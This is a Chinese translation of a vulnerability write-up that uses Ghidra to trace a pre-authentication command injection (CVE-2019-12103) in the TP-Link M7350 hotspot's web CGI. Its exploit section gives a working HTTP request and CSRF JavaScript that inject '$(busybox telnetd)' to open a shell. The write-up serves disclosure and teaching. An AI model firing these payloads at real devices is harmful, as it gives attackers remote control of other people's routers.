利用Ghidra分析TP-link M7350 4G随身WiFi的RCE漏洞
2019-09-19 12:22:30 Author: www.4hou.com(查看原文) 阅读量:205 收藏

导语:TP-link M7350(V3)受预身份验证和一些后验证命令注入漏洞的影响。如果攻击者位于同一LAN上或者能够访问路由器Web界面,则可以远程利用这些注入漏洞。CVE-2019-12103也可以通过跨站请求伪造(CSRF)在任何浏览器中利用此漏洞。

0x01 漏洞描述

TP-Link M7350(V3)受预身份验证(CVE-2019-12103)和一些后验证(CVE-2019-12104)命令注入漏洞的影响。如果攻击者位于同一LAN上或者能够访问路由器Web界面,则可以远程利用这些注入漏洞。CVE-2019-12103也可以通过跨站请求伪造(CSRF)在任何浏览器中利用此漏洞。

如果你正在使用其中的一个设备,请立即更新到新固件(版本190531)。

这篇文章是关于使用Ghidra逆向分析这个RCE漏洞的总结,如有问题,请帮我指出来

大多数路由器的安全性都很差,大多数消费级网络硬件都带有嵌入式web服务器。Web服务器是用户使用GUI访问设备配置的一种非常简单的方法。但是很多时候,Web服务器会暴露API节点,比如JSON或XML文件。

当开发人员不是非常非常小心的时候 – 你会发现某种任意的命令执行潜力。我很少看到路由器在暴露的接口上没有命令注入或内存管理问题某处。

M7350只是一个基于Qualcomm的蜂窝热点,在这种情况下它运行的是MDM9225。

非常幸运,固件可以在TP-Link网站上找到

我现在使用的是硬件版本3.0来运行M7350,因此我的固件文件名为M7350(EU)_V3_160330_1472438334613t.zip。这个文件本身只是一个ZIP,其中包含PDF安装说明。

在THAT ZIP中,我发现如下信息:

这看起来像是没有混淆或加密固件更新的文件,有一些Android的感觉。我们可以解包二进制文件并开始分析它们。

甚至可以在META-INF / com / google / android / updater-script中看到固件更新脚本。

0x02 固件分析

可以找出一些我们可能控制的关键变量,并为它们设置grep。

从M7350 web服务器通过Burp抓到的一些数据包,可以看到一些变量名称,这有助于我们找到处理它们的二进制文件。

通用配置请求将发送到/ cgi-bin / qcmap_web_cgi端点。POST主体是JSON编码的,验证后请求需要“令牌”值。“模块”参数很有意思,因为它表明有一个交换机在运行,它根据请求的模块以不同的方式处理输入数据。

让我们来看看webServer中有什么

 $ grep -ro webServer
 
 Binary file data/bin/QCMAP_Web_CLIENT matches
 system/WEBSERVER/www/browserWarning.html:webServer
 Binary file system/WEBSERVER/www/cgi-bin/qcmap_web_cgi matches
 system/WEBSERVER/www/login.min.js:webServer
 system/WEBSERVER/www/settings.min.js:webServer
 system/WEBSERVER/www/settings.min.js:webServer
 system/WEBSERVER/www/tpweb.min.js:webServer
 system/WEBSERVER/www/tpwebPhone.min.js:webServer
 system/WEBSERVER/www/tpwebPhone.min.js:webServer
 system/WEBSERVER/www/tpwebPhone.min.js:webServer
 system/WEBSERVER/www/tpwebPhone.min.js:webServer

为了避免无关的垃圾文件输出,,我使用了了-o参数。这样就只会显示在文本文件中找到的实际字符串,我们只对二进制文件感兴趣。-r从当前工作目录开始以递归方式告知grep。

“webServer”在QCMAP_Web_CLIENT和qcmap_web_cgi二进制文件中。我们先来看看qcmap_web_cgi二进制文件,如果记得上面的POST请求,qcmap_web_cgi是在POST上的端点,因此,它可能是负责管理每个请求的处理方式。

0x03 用Ghidra分析

使用Ghidra打开qcmap_web_cgi二进制文件并运行泛型分析,可以从搜索字符串开始(通过单击Search – > For Strings)。

单击搜索对话框,保留默认设置后,可以看到很多字符串 – 包括我们的“webServer”字符串。

双击该条目将带到“webServer”位于内存中的位置。Ghidra显示了这个地址在二进制文件的其他地方被交叉引用(使用XREF注释)。

可以双击那个交叉引用,它将把我们带到引用“webServer”的函数。我已经在这里重命名了它 ,比如FUN_00008ce0。

Ghidra的反编译器非常好用,我们可以很容易地看到这个函数的逻辑是什么。

字符串传递给函数,如果字符串是“webServer”,则返回1。

然后,可以向后跟踪此函数,以弄清楚它是如何被调用的。右键单击反汇编视图中的函数名称,然后单击参考 – >显示调用树。

这将给出一个非常简单的可扩展项目符号列表,列出函数的调用位置以及它调用的内容。

在左侧,可以看到传入的引用,由FUN_00008d78调用webServer_or_status,它本身由main(以及之前的ELF条目)调用。在右侧显示webserver_or_Status仅调用strcmp。

FUN_00008d78主要是从环境变量中提取数据,从JSON中提取内容并在适当的地方执行身份验证检查。

来看看主要功能:

这是调用FUN_00008d78的main的一部分,所有其他if / else块都是错误处理,如果请求格式错误或不完整,则抛出错误。

FUN_00008d78没有返回任何内容,然后调用FUN_000092ec。

FUN_000092ec实际上非常有意思。从调用树开始可以看到它调用其他套接字函数,并执行sendto和recv调用。

此二进制文件根本不处理HTTP服务器套接字。这个二进制文件本身不是Web服务器,它只是实际Web服务器将HTTP请求传递给的端点。

回到二进制文件中。正如在调用树中看到的那样,FUN_000092ec正在调用FUN_00008f3c,它正在执行socket,system和sendto syscalls!

二进制文件绑定到套接字文件/ www / qcmap_cgi_webclient_file。然后将sendto'ing请求数据发送到套接字文件/ www / qcmap_webclient_cgi_file。

由于数据被发送到了qcmap_web_cgi二进制文件,我们需要弄清楚它的去向以及发生了什么。

看看qcmap_webclient_cgi_file文件:

 $ grep -r qcmap_webclient_cgi_file
 Binary file data/bin/QCMAP_Web_CLIENT matches
 Binary file system/WEBSERVER/www/cgi-bin/qcmap_web_cgi matches

导入Ghidra,再次检查字符串,“webServer”出现了几次。

点击它的地址只显示了“webServer”

没有直接的交叉引用,然而,向下滚动一点有一些非空字节。可以通过右键单击第一个 – >数据 – > dword将它们转换为双字。

这看起来非常像查找表,如果你双击dword 15384h,会发现在二进制文件中的那个偏移量。

可以通过右键单击FUN_00015384 – >重命名函数,我选择了名称API_webServer_function,如果你想确保查找表中指向0x00015384的指针实际显示你的新函数名,你可以返回到指针,右键单击它 – >引用 – >创建内存引用。

一旦知道了查找表的结构,只需在单击dword的第一个字节时按“p”键即可立即将其转换为指向函数的指针。

反汇编视图将显示函数名称

可以向上滚动到查找表的开头,查看它是否在函数中引用,并查看该函数的作用。

向上滚动到查找表的开头是字符串“lan”这是由我重命名为“parse_json”的函数引用的。

parse_json函数非常大,但它引用“lan”字符串表明它是如何使用此查找表的。

这个do / while循环从请求JSON中获取模块名称,并且从“lan”的地址开始以0x44的增量循环每个相对偏移。strcmp是用户提供的字符串,传递给“module”参数,字符串位于查找表中每个条目的开头,直到匹配正确为止,然后它调用相关的函数。

回到API_webServer_function:

提取用户提供的来自JSON请求的“action”值(来自iVar1 + 0x14),因此,如果发送包含{“module”:“webServer”,“action”:0}之类的请求,QCMAP_Web_CLIENT进程将使用参数“uci get webserver.user_config.language”调用函数call_popen。然后它创建一个JSON对象,并将从call_popen获得的值作为“language”值返回。

call_popen是我给这个函数的名字:

popen字面上运行系统级命令。它很像系统或exec *。将不受信任的用户输入直接传递给它并不理想。但这正是二进制文件所做的。

如果操作为1,则“language”参数的值将传递给由snprintf函数构造的shell命令字符串,然后将其传递给call_popen。

“但DAVE” – 我听到你们齐声说 – “SNPRINTF还有什么额外的论据?”

这真的是精明和敏锐的你。聪明的你。好吧,答案是,反编译器并不完美。我们期待看到:

snprintf(char_array_204,200,“uci set webserver.user_config.language =%s; uci commit webserver”,*(iVar1 + 0x10));

但我们没有。但我们知道它应该这样说。这就是我们所知道的。

0x04 ARM中的函数调用

ARM中的函数调用类似于x86_64,因为参数存储在寄存器中。R0包含第一个参数,R1表示第二个参数,R2表示第三个参数。

查看snprintf调用,如果要填充一些格式字符串,则应至少使用4个参数,而且“uci set …”命令字符串中的%s必须是格式字符串。

应以下列格式调用snprintf :

int snprintf(char * s,size_t n,const char * format,...);

来自cJSON_GetObjectItem的返回值被移动到R6(返回值存储在R0中,但在此处标记为“language_val”,因为我在反编译器视图中将其重命名了)。

这是一个SUBtract指令,但有时在ARM反汇编中你会看到各种ADD或SUB的值为零,而不是MOV。SUBS R6,R0,#替换为0x0 。

如果SUBS指令导致R6等于零,则零标志(ZF)将被设置为1,并且将遵循下一个BEQ分支命令。

我们也可以在伪代码中看到:

iVar1!= 0检查空返回值。

从cJSON_GetObjectItem调用返回的对象的指针已放入了R6。然后,指针+ 0x10引用的存储器中的值移动到R3。然后CMP指令检查它是否为空。

可以通过读取伪代码的其他部分进行有根据的猜测,即从cJSON_GetObjectItem返回的对象的偏移量0x10包含指向用户提供的字符串值的指针。然后有一个CMP,以确保指针不为空。

可以看到在伪代码中看到:

0x05 漏洞利用

现在漏洞不言而喻了,将“language”设置为shell命令将导致我们的shell命令被snprintf包含在“uci set …”字符串中,当该字符串传递给popen时,该命令将被执行。

伪代码如下:

因此提供给“language”参数的值将替换“uci set …”字符串中的%s格式字符串,该值存储在acStack224中,然后popen就被调用了。

以下请求将生成telnetd shell。

 POST /cgi-bin/qcmap_web_cgi HTTP/1.1
 Host: 192.168.0.1
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
 Accept: application/json, text/javascript, */*; q=0.01
 Accept-Language: en-GB,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.0.1/settings.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 65
 Connection: close
 
 {"module":"webServer","action":1,"language":"$(busybox telnetd)"}

0x06 仅限局域网的RCE利用

蜂窝调制解调器连接到APN,APN就像电信公司提供的大规模局域网,可以严格配置APN,例如,不实施客户端隔离。在这些情况下,任何人都可以连接到相同的APN,因为可以访问蜂窝调制解调器的Web配置界面。

还有可能存在JavaScript跨站请求伪造攻击。在JavaScript中,很容易枚举路由器所在的位置,查看它是否存在漏洞,并伪造可能执行代码的请求。所以,可以通过一个网页在你的路由器上执行任意代码。

用于注入命令的JavaScript代码:

 function sleep(ms) {
 return new Promise(resolve => setTimeout(resolve, ms));
 }
 function inject(lang){
 var xhr = new XMLHttpRequest();
 var url = "http://192.168.0.1/cgi-bin/qcmap_web_cgi";
 xhr.open("POST", url, true);
 xhr.send(JSON.stringify({"module":"webServer","action":1,"language":lang}));
 }
 
 inject("$(busybox telnetd)");
 sleep(500).then(() => {
 inject("en");
 
 });

0x07 漏洞修复

TP-Link在固件更新190531中修复了这个漏洞

将单引号转义为格式字符串。

0x08 分析总结

蜂窝调制解调器中的漏洞仍然很常见,这只是我在M7350中发现的一个漏洞的例子,我只花了一天左右的时间就发现了它。因此,可能还有更多漏洞可以被挖掘!!!

本文翻译自:https://www.pentestpartners.com/security-blog/cve-2019-12103-analysis-of-a-pre-auth-rce-on-the-tp-link-m7350-with-ghidra/如若转载,请注明原文地址: https://www.4hou.com/vulnerable/20267.html


文章来源: https://www.4hou.com/vulnerable/20267.html
如有侵权请联系:admin#unsafe.sh